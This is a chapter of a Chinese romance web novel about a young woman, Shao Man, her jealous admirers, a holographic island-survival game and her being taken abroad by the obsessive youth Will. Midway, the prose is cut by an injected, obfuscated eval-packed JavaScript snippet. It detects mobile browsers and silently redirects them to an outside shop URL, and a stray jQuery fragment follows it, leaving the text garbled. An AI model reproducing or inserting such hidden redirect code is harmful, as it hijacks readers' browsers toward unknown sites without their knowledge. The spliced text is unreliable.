中午,韶曼吃到了维尔做的披萨,她觉着很美味。
之后轮到宫衍礼与韶曼独处的时刻,他先询问了她。
“曼曼,想做什么?”
韶曼思忖一霎,抬眸凝盼着他,眉目含笑地道:“表哥想干嘛,每次都是你们问我,你们喜欢做什么,我也可以陪你们做的。”
闻言,宫衍礼面上的冷色一融,他的心更是为她而悸动。
他差点脱口而出的是,他们都愿意陪她做任何事,只要她喜欢。
不过,宫衍礼撞进她清湛的双目后,他知晓她在期待着他的回答。
他顿了顿,才说:“我没什么想做的,平常不去公司,也是在书房办公。”
其实他是个很无趣乏味的人,他明白这一点,他不仅是性格冷淡少言,而且连爱好都没有。
【这个看似工作狂的男人心怀不轨,暗示你去书房,你的选择是:
A、不去(他可以是周扒皮,但你不是牛马)
B、欣赏他的工作姿态(听说认真的男人最带劲)
C、来个书房Play(去做点快乐的事情吧)】
虽然韶曼不觉得一本正经的宫衍礼会心怀不轨,可本来就是她表示要陪他,应该以他的需求为先。
宫衍礼既是习惯工作,那她便同他一块去书房好了。
“表哥,我们去书房。”
韶曼笑意盈盈地冲他道,见他还在犹豫,干脆拉住他的手提步就走。
宫衍礼因她的这一举动而怔愣住了,他无法推开她,任由她带着自己上了三楼的书房。
即使只是一个简单到不算多么亲密的拉手,也令宫衍礼感到惊喜又胆怯。
他以前从未料想过,自己会有忧惧退缩的一天,但他爱上了韶曼,所以日日心绪百转。
为了她,他再不甘心,亦情愿跟亓若宣等人定下协议,哪怕能够陪伴她的时间被分割被减少。
而这一刻她的主动接触,叫他骤然产生如此矛盾的心情。
他忍不住渴望愈多,又一定要保持理智,他不确认她是否做好接受他们爱恋的准备,因此他们都尚未正式告白。
纵使他们的言行已是将自己对韶曼的情意昭然若揭,也不能这么直接而突然地暴露他们的欲念。
在宫衍礼胡思乱想,试图恢复平静的半会儿功夫,他已经被韶曼领到了书房。
三楼的书房只有一间,亓若宣几人倘若实在临时有工作上的突发事务要办理,基本都是在自己的卧室内用笔记本及手机联系公司员工。
只有宫衍礼会在书房办公,而这间书房还有个颇大的落地书架,摆放了满格的书籍。
韶曼瞧了,眸光一亮,眱向宫衍礼,嗓音清脆悦耳地说:“表哥,你有工作可以先忙,我看书。”
她的话音一落,手早松开了他,宫衍礼已然回过神来。
“不用,曼曼,我今天没什么工作。”
宫衍礼既然计划随韶曼来旅游,那么这些天的公司事务,他早安排完毕了,万一碰到紧急状况,他提前告知过秘书,去请他父母。
若不是韶曼突发奇想,要玩全息游戏,他不会在这期间联络公司的任何一个员工。
“那我们看会儿书。”韶曼不疑有他,又接着他的话道。
“好。”宫衍礼并未驳了她的建议,总归她念着他,才来了这无聊的书房。
韶曼倒是饶有兴致行至书架前面仔细端详,看有无提起她兴趣的书名。
自她到了这个世界,的确没读过什么书,几乎都是在玩乐。
韶曼挑挑拣拣的,最终随便取了本悬疑探案的小说,而宫衍礼拿的经济学著作。
两人安安静静在书房待了两个多小时,居然都没出声。
宫衍礼享受和韶曼相处的每分每秒,纵然二人不发一言,可他感受得到她的存在就够了。
对于韶曼而言,她还真没注意到时间的流逝,在敲门声响起后,她下意识地瞥过去。
“打扰你们了吗?”
来人是亓若宣,他已经打开了门,正神色温润地凝视着二人。
宫衍礼慢条斯理地合上书,韶曼则摇了摇头,眉眼一弯。
“宣宣,怎么了。”
“要去打排球吗?”亓若宣微微笑着,问她的意见。
韶曼没发觉墙上挂着钟,宫衍礼在她的身旁,她的余光一扫,他的腕间正巧戴着表,她随即凑过去握起他的手,瞅了眼上边的时针及数字。
这会儿是下午三点多,他们玩完沙滩排球,便差不多可以准备晚餐了。
当事人宫衍礼再度被韶曼的行为撩拨着心弦,却不动声色,可惜在场只有三人,而他的掩饰只能骗过韶曼,在亓若宣以为不过是欲盖弥彰。
虽然亓若宣未必毫无感觉,但他特地忽略了,毕竟他们天天待在一处,多多少少会发生些亲近之举。
最重要的是韶曼还未真正确认心意,不曾选择谁,况且即便她与谁交往结婚,他还有他们都不可能放弃她。
一辈子那么长,他们等得起,撬得动。
“好啊,表哥,我们去吧。”韶曼顺口同宫衍礼道。
宫衍礼自不可轻易错过能在韶曼身边的机会,和她来旅行亦是他们希望能不受打扰地陪伴她的谋划。
唯独只出现了维尔这一个意外。
宫衍礼不把维尔放在眼里,救下并让对方暂住无非都是看在韶曼的面子上,他就叮嘱了保镖要防着维尔,其余的由亓若宣去应付更为妥当周全些。
韶曼先回房间换了身宽松的运动衫,才下了楼与大家一同去沙滩。
维尔当然也叫上了,否则他们只有七个人更不好分组。
韶曼、宫衍礼、延初、韶华一队,亓若宣、维尔、丰昭阳及斐迹一队,由延初先发球。
虽然韶曼算是新手,但之前玩过一两次了,也大概学过规则跟基本的发球接球姿势。
延初的球有点软绵绵的,力道不大,速度不快。
对面的丰昭阳接住了,往宫衍礼的方向回过去。
他们做什么都是为了韶曼,自然不会不将球传给韶曼,还得控制好球的速度和力道,以免不小心伤到她。
韶曼察觉不出来他们默契的配合,反而沉浸其中,玩得乐不思蜀。
维尔被斐迹等人有意无意地排除在外,然而,他从第一个传球起便发现他们之间的猫腻。
只是他同样把韶曼乐在其中,笑靥如花的模样看在眼中,既然她那么高兴,他就暂且不搅了她的好心情。
时间这么一点一滴地过去,飞快地到了傍晚。
几人在晚餐后,再次回了沙滩,因为斐迹建议开个篝火舞会。
韶曼和大家转圈围着篝火跳了片刻的舞,倏地她的眼角睇见不远处的一道人影。
原来是维尔,他正站在那儿,天使般纯洁的面孔在夜晚与灯火的映照下忽明忽暗,他的表情似笑非笑。
韶曼停了下来,走到他的面前,俏丽的眉宇间染着恬然之色。
“Kingsley,你要一起跳舞吗?”
她回忆起下午打沙滩排球的时候,维尔在对面的一组,不过他好像不怎么积极主动地接球或传球,她推测着约莫是他不喜欢排球。
他已经留在了这里,她的注意力或多或少都会转移到他的身上来。
这才是斐迹最想驱赶维尔的缘故,他们几人都在拼尽全力,费劲心思地抢夺着韶曼的喜爱,偏偏来了个多余的外来者,维尔看似不争,却时不时地冒出来。
而韶曼饶是在玩乐之际,也不会忘了他,总要惦记着邀请他。
倘使不是要在韶曼的面前保持风度,斐迹绝对会毫不客气地用最恶毒的语言讽刺维尔,再吩咐保镖将人丢下大海里。
维尔哪里感觉不到,当韶曼靠近他,视线停驻在他的脸时,原本围绕着她那些人都盯住了自己,其中不乏敌意同探究的眼神。
“好啊。”维尔笑得天真无害,其他人再对他保有警惕之心,韶曼都会关注到他。
他故意朝韶曼伸出了手,而她略一垂眸,既然如此,她顺势牵起他来到了篝火旁边。
韶华轻轻蹙眉,作为自幼见惯了人情世故,世态炎凉的她,不能说很懂人性,可她的直觉提醒她要小心维尔。
尽管当着他们这么多人的面,维尔不能做出什么来。
丰昭阳暗暗乜了亓若宣一眼,维尔这家伙不会阴魂不散,要一直跟着他们吧。
她瞧着大方,实际上内心深处到底是怀着和斐迹差不多的想法,维尔没资格像他们一样陪韶曼。
韶曼的一时兴起,才是他们允许维尔暂住在此的原因。
假使韶曼愿意让维尔一直待在她的身旁,那他们未必不会令他真的消失。
现下,他们都眼睁睁看着韶曼与维尔手拉着手,绕着篝火转圈舞动。
韶曼的脸庞在火焰明亮的照耀下,愈发秾丽,她的双瞳仿佛最璀璨的星,闪烁着清湛的光芒。
维尔注视着这样的韶曼,即使他的心性再坚定冷酷,亦无法轻易移开目光,甚至,他有些失神。
同时,他清晰地感受着她握住自己的手,柔软温暖袭来,他不禁地反握回去。
这是他的……公主殿下。
韶曼不晓得维尔这时的情绪,她带着他跳了好几圈,终究被凑上来的斐迹还有延初把维尔挤开。
两人你一言我一语,一边拉着韶曼,一边同她聊天,掠走她短暂分给维尔的关注。
在韶曼的温软离开他的那一瞬,维尔已然快速拢回散发的心思。
他凝睇着韶曼被延初跟斐迹左右牵着,她和他们笑语盈盈,她的美好似乎不会只由一人所拥有。
维尔确定,自己很想独占她的一切。
她的拧眉,她的笑容,她的喜悦,她的气恼……无论是什么,都全盘接受,也只能是他。
而如斐迹等人,维尔不信他们没有生出这样的念头,却偏要装成一副平易近人的姿态,还企图共同分享着韶曼的所有。
有韶曼在,宫衍礼及亓若宣都不会给维尔再多一秒的注意,连维尔什么时候离开沙滩,也无人察觉。
这一天对韶曼而言,欢快地过去了。
接下来的两日,她同样玩得尽兴,终于,宫衍礼名下的公司送来了全息游戏的装备。
韶曼叫上了大家,包括维尔。
她很欣愉,而维尔亦是,他碧绿的眸子隐着不明的意味。
“曼曼,你想玩什么?”宫衍礼自是最了解全息游戏的人,他率先开口问韶曼。
“我们先玩孤岛求生。”韶曼不假思索地说。
毕竟他们之所以想起全息游戏,不正是由于她谈到过孤岛求生。
斐迹的嘴角一扬,“这虽然是全息游戏,但很真实,几乎完全模拟了人的五感。”
他望着韶曼,蓝宝石般的瞳柔情满溢。
“那不是更好玩。”韶曼反倒觉着这样一来更有意思,她的眸光粲粲,点燃了他们心间的荒原。
既然韶曼都这么说了,那他们便正式启动了全息游戏。
韶曼坐在特制的皮椅上,戴上高科技的脑电波头盔,手脚都连接着电线。
一来到全息游戏内,韶曼睁开的第一眼,就是一望无际的大海。
她差点以为自己还在游轮上,转瞬间,她听到了身旁熟悉的声音。
“曼曼,怎么样?”
斐迹倒是迅速进入了状态,在这虚拟的世界中,他们的模样毫无变化。
“曼曼,有任何的不舒服,要及时告诉我们。”亓若宣温和的嗓音紧接着响起。
宫衍礼稍稍颔首,哪怕是他名下公司所研发出的全息游戏,他再三检查过,也不代表他彻底定下心。
对于韶曼的一切,他们都必须打起十二分精神。
“我没事,真的像斐斐说的一样呢。”韶曼巡睃了一遍周遭,这场景简直与他们坐游轮来时所见到的无异。
耳边涌起的海浪声,脸颊拂过的海风,洒落的日光,乘坐的游轮,都是那么的一致而真实,使人非常有身临其境的代入感。
“那你想先享受一下现在的宁静,还是赶快进行荒岛求生?”
斐迹询问着韶曼,他虽不似宫衍礼那般仔细检查过全息游戏的程序,但他从前玩过,关于这些全息游戏的内容,他不是什么都不知道,反而还能像有经验的玩家,可以引领协助着韶曼。
韶曼只稍加犹豫了刹那,便回答了,“快进行荒岛求生吧。”
宫衍礼的面色不再冷凝,低声应了一句,“好。”
“小心了,曼曼。”亓若宣特意关怀地提醒着韶曼。
他也并非对全息游戏完全不知,到底是韶曼要玩的,她可以不清楚全息游戏的具体操作,但他们都大致了解过一番。
纵使在这虚拟的游戏里,他们也要护着她。
果不其然,在亓若宣的话音落下不久,突然有了异变。
天空骤暗,不多时下起了大雨。
在游戏的加载中,游轮很快出了问题,而韶曼几人坐上了救生艇。
他们在海面漂流着,韶曼不由得想起,维尔正是在这样的情境下被他们救了回来。
思及此,她忍俊不禁。
“曼曼在笑什么?”
延初一头雾水地道,他们都已经成了落汤鸡,虽说在全息游戏世界内不会真的生病,但五感都是体会得到的。
要不是宫衍礼默默修改了参数,他们的衣服可不会那么快干透。
“我想起维尔就是这样被我们救了。”韶曼不认为这有什么好隐瞒的,便直接道了出来。
闻言,维尔瞥向她,眨了眨那双干净的绿眸,嘴边漾起一抹弧度,“是啊,我真的很感激你……们救了我。”
否则,他怎么能遇到他的公主殿下。
她记着二人的初见,让维尔感到极其愉悦。
斐迹倒不乐意了,他只转帆道:“曼曼,你冷不冷,我给你取暖。”
他这话一出,除了韶曼,所有人都不赞同地睨着他。
【游戏是虚拟的,感觉是真实的,这男人正在关心你,此时的你选择:
A、答应他一块取暖(反正是游戏)
B、大家一起取暖(一个都不能漏下)
C、踹他下海(看来他还是不够冷)】
韶曼没料到进了全息游戏,模拟器还不忘给她安排选择。
她倒真不觉得冷,没去理会模拟器,只是她不晓得其他人怎样。
“我不冷,你们谁冷了,斐斐帮你们取暖。”韶曼笑吟吟地说着,丝毫未曾发现斐迹那隐约的暧昧之意。
“衣服应该干了。”亓若宣不提冷不冷,那反而是在加强韶曼的印象,他温声道:“曼曼,喝口水吧。”
他将水瓶打开,递给韶曼。
比起取暖,还不如叫她喝水。
斐迹那样混不吝地调侃,韶曼当真了怎么办。
韶曼并未拒绝,其实她不渴,可亓若宣做得这么周到,她接过水瓶喝了一口,再问其他人,他们都表示不渴,她才把水瓶还给亓若宣。
“曼曼,快看——”
丰昭阳忽地朗声唤韶曼,她的手臂抬起,指向远处可见的岛屿形状。
韶曼循着丰昭阳所指的方向望去,瞳光皎皎,“那就是荒岛了吧。”
终于要开始了,他们的荒岛求生。
他们的救生艇划到了荒岛附近,再上了岸。
这荒岛渺无人烟,景色倒是美的,到处是绿荫环绕,有山峰,有树林,有花草。
自然而然,也会有动物。
来了荒岛,又怎么能碰不上野兽。
宫衍礼知晓这座荒岛上哪里安全,哪里危险,韶曼想体验荒岛求生的乐趣,那她肯定不喜欢乖乖留在原地,由着他们去寻找食物。
因而亓若宣提议分头行动,韶曼、丰昭阳、斐迹、亓若宣一组,剩余四人一组。
韶曼要去的地方有不少可食用的植物以及一些小动物,看她的意愿要不要。
而宫衍礼几人搜索的区域自也不是危险地带,他又不是真来荒岛求生的,没必要招惹野兽,即便都是虚拟出来的假象。
另一边,韶曼在亓若宣三人的陪同下,倒玩得快忘了自己这是在全息游戏中了。
她觉着自己来的不是荒岛,是旅游景点,更何况还有人在她的身边,她一点都不害怕,还很安心。
在登上一处小山峰的顶端后,韶曼瞟了瞟四周的树林及远处的海,不自觉地感慨着。
“有你们在真好啊。”
“哟,我们曼曼这是怎么了。”丰昭阳有意揶揄韶曼。
斐迹反而顺着韶曼这话接口道:“曼曼,你觉得我们在真好,那以后也想要我们一直陪着你吧。”
他的语气恍若在探问,又似在诱导着她。
丰昭阳跟亓若宣都发觉了他的意图,却同样暗暗期待着韶曼的答案,因此两人并不插嘴。
“如果你们能一直陪着我最好。”韶曼果真给出了令他们满足的回应。
他们已经预先猜到韶曼会说什么,然而,亲耳听见更使他们欣喜。
在他们最不为人知的内心深处,他们怀有的某种隐秘而克制的妄念,是不合适在韶曼的面前显露出来的。
——那样的疯狂,那样的晦暗,那样的罪恶。
他们既无比地渴求着她,又不得不伪装好自己,以免韶曼看到他们的丑陋。
“会的。”亓若宣先出了声,他的口吻是一贯的和缓,却宛如不可违逆的誓言一般坚决。
斐迹勾唇轻笑起来,“自然了,曼曼,就算你不要我们了,我们也不会离开你的。”
便这么约定吧,他的曼曼,绝不能抛弃他们。
不然,他会如同鬼一样地缠着她。
纵然斐迹心里萦绕的是可怕的念头,他表面上也仍旧泛起热烈的笑容,韶曼倒是不曾感到一丝诡异。
丰昭阳挑眉瞅了他一眼,这家伙又在犯病了。
她怎会不懂斐迹的隐晦想法,毕竟她也不是没有过类似的主意。
亓若宣的神情不改,依然是一派平和,只凝注着韶曼。
而韶曼听
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721884|208704||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得斐迹的话,却是失笑,“什么叫我不要你们,我很开心你们陪着我玩啊。”
要当下的韶曼来思忖,她根本想象不到在什么样的情况下,她才会离开他们。
“曼曼能这样说,真是……”
真是犯规。
斐迹的眉梢一翘,笑得愈发灿烂。
丰昭阳干脆一把揽住了韶曼的肩膀,“我们曼曼最好了。”
她恨不得亲上几口,假若这两个家伙不在场。
亓若宣的眸色更显温柔,“我们先下去吧。”
他们找了些水果,可以解渴,至于饱腹的东西,相信宫衍礼那边会寻到让人满意的。
等韶曼几人走回了海边,宫衍礼他们已经在那里准备烤肉,连树枝搭的木架都弄好了。
按照全息游戏中的时间来算是下午了,韶曼吃完了烤肉还有几颗果子,见亓若宣他们有动作,她也要去帮忙。
韶曼先一同捡了些粗细不一的枝干,再摘了几片芭蕉叶。
他们打算搞个简易点的“休息屋”,不多时,他们成功了,还叫韶曼试试看。
韶曼也不忸怩,直接躺了进去,三面是用植物的茎捆住的树木枝来挡风,上空以芭蕉叶来遮掩。
她没想到自己才闭上眼一会儿,便颇感疲倦。
须臾后,有人在喊她,她缓缓睁开眸子。
“曼曼,这个舒服吗?”
是斐迹在问她。
“……舒服得快睡着了。”
韶曼顿了顿,这么回他。
亓若宣的含笑声传来,“曼曼困了,可以睡,没关系。”
“对哦,曼曼放心,你要是起不来,我们会帮你断开连接,送你回房间的。”
斐迹的语调上扬,显然是在促狭着她。
但韶曼确信,他们不会放任她一个人留在游戏里,况且她的确有点困了,不如睡一下好了。
“那我睡了,你们记得叫我。”
有几道声音附和了她,她没听清,已经睡着了。
待韶曼终于恢复意识,清醒过来时,她发现自己身处风琴岛别墅的卧室床上了。
她还真的睡过头了,而且斐迹他们没唤醒她,又确实送她回了房间。
韶曼坐起身,想要打开床头的台灯,却没反应,她只好拿起手机,屏幕显示眼下是晚上十点多了。
她竟睡了这么久。
韶曼点击手机的电筒光,正欲去开卧室灯,结果有人先闯进了她的房间。
“是谁——”
“是我,维尔。”
“Kingsley?”
韶曼将手机举起,照向他,果真是维尔。
“你怎么……”
韶曼的疑问还未及说完,维尔已快步上前来拉住她的手,边走边道:“这里出事了,快离开。”
“出事?”韶曼对他的话不明所以,他却不解释,而是一味地牵着她踏出卧室,还径直下了楼。
原来不仅是她的房间没办法开灯,而且他一路带着她经过的地方都昏暗得很,全靠她与他的手机电筒光来照明。
终于在楼梯间,韶曼瞧见了亓若宣,她停下脚步,维尔也刹住了。
“宣宣,到底发生什么事了……”
韶曼才问完,亓若宣一脸急切地对她说:“曼曼,这里有危险,你们走后门,那里的岸边有船,你们赶紧离开。”
灯火俱灭,借助手机的光,韶曼隐约看到了亓若宣面颊上露出的慌乱神态。
她从未见过这样的亓若宣,向来听他的韶曼,却在此刻迟疑,她什么状况都不明了,他只表示危险,要她先走。
既然危险,她就能狠心撇下他们吗?
然而,似是觉察到她的犹疑,亓若宣直接冲维尔交代起来,“带曼曼离开,之后我们会去找你们。”
“好。”
维尔简洁地应了,亓若宣得到他的答复,不再多言,转身奔向另一个方向。
韶曼来不及继续问,亓若宣的身影已然消失在黑暗中。
静悄悄的夜,黑黢黢的路,她连宫衍礼等人都没碰到,维尔又拉着她跑了。
两人依着亓若宣的叮嘱,来了后门,去到岸边,果然有一艘小船。
等船开起来,韶曼回头一直凝望着越来越远的风琴岛。
整座岛屿都一片漆黑,寂静得诡谲。
“……所以你知道出什么事了吗,Kingsley。”
维尔能先于亓若宣等人,去她的卧室带她走,那他必定清楚是什么情况。
“像亓若宣说的那样危险,曼曼,你听他的,他们会来找你。”
在这平静又黢黑的夜色,维尔的语气都被衬得有些幽幽。
“只有你安全了,他们才放心,不是吗。”
维尔所言的确没错,韶曼在他们的身边,会令他们产生更多牵挂,在他们面临危险之际,这种牵挂的念想最易导致不慎。
韶曼点了点头,“好,我不会乱跑的。”
待她到了安全的地方,再联系他们。
“那我们去哪里?”
大晚上的,方位都不很明晰。
维尔却很有把握,笑着对她道:“去我家乡吧,曼曼。”
他这么说,韶曼还以为他的家乡在附近的国家,她哪里猜得到,他的家乡是I国。
那离风琴岛也太远了,韶曼记挂着亓若宣等人,想要快点联络他们,海上却没什么信号,偶尔有信号的时候,他们的手机全部都接不通。
维尔舍近求远,带韶曼去了I国,一上岸,她赶紧左顾右盼,寻找着哪里有电话打。
“曼曼,别急,去我家,我保证能联系到亓若宣。”
维尔说得很笃定,在异国他乡,身旁只认识他一人,韶曼先听他的,来到了他的家。
出乎意料的,维尔的家很大,是一座庄园。
不过他家的人都挺奇怪,好多穿着黑色西装,像极了他从海面上被救的打扮。
他们交谈用的是I国语言,韶曼听不懂,也没心思去理解。
维尔看韶曼这般,在客厅叫她先用电话打给亓若宣,她的手机早已经没电了。
在海上,亓若宣的电话一直不通,来了I国,韶曼一打便接通了。
“宣宣,是我。”
“……曼曼,你没事吧?”亓若宣着急地问她。
韶曼的心安定了些,“我没事,跟Kingsley在I国。”
“那就好,曼曼,我们这边的事还没结束,你先和维尔先生在I国,过段日子,我们会亲自去接你回来的,好吗?”
亓若宣的语态已经如往常的柔缓,韶曼彻底平复了情绪。
【这男人竟然请你与另一个男人同居,你的选择是:
A、欣然答应(正合你的意)
B、坚定拒绝(不达到*P的条件)
C、邀请他们一块来(好事要一起分享才对)】
“好,我等你们来接我。”
韶曼确定他们不会轻易跟她分开,现今却要她待在国外,明显是有了连他们都难以解决的意外情形。
而她既然得知了他们的安全无碍,不再那么担忧,就别让他们操心她了,给他们好好处理问题的空间,她只需要在这里等着他们。
和亓若宣谈完,挂了电话,韶曼的脸上总算绽出了笑容,她刚一旋身,入目即是靠着墙壁的维尔。
他碧绿如湖水般的双瞳凝视着她,玫瑰似的唇瓣微启,现出一副纯粹欢欣的模样。
“怎么样,我没有骗你吧。”
维尔浅笑着道,他的眼光亮闪闪的,好像做了好事,期盼奖赏的孩童。
韶曼闻言,略感羞赧,是她心急慌张了些。
“抱歉,Kingsley,我应该相信你的。”
亓若宣都叫她留在这儿了,他们肯定也认为维尔是好人。
维尔对上她那明澈似清水的眸,其中荡着涟漪般的笑意,真是惹得他的心尖一颤。
多么令人沉醉的目光,就这样一直只看着他多好,那他宁愿溺毙于此。
“不用道歉,曼曼,希望你在这里住得开心。”
维尔完全不暴露一丝真实情思,他还不能吓到她。
“多亏你在海上救了我,又让我住在你的别墅,该轮到我报答你了。”
他说得有理有据,当做是报答的话,似乎更容易使人无所负担地接受。
韶曼原本便不觉有负担,别人待她好,对她而言是司空见惯的了。
她先前只是顾及丰昭阳他们的安危,如今得到了亓若宣的回复,她可以不那么忧心了。
维尔发觉她的状态夷然自若,她并不由于身处异国他乡而感到不自在,他很兴奋,在他这里,她依旧能一如既往。
那么,从此这样留在I国,只余他一人陪她,应当足够了吧。
他的公主殿下。
韶曼不知自己答应住在一个屋檐下,这个拥有天使般纯净气息与面庞的美少年,是多么偏执而阴暗的魔鬼。
他为了自己的欲望,能够不择手段。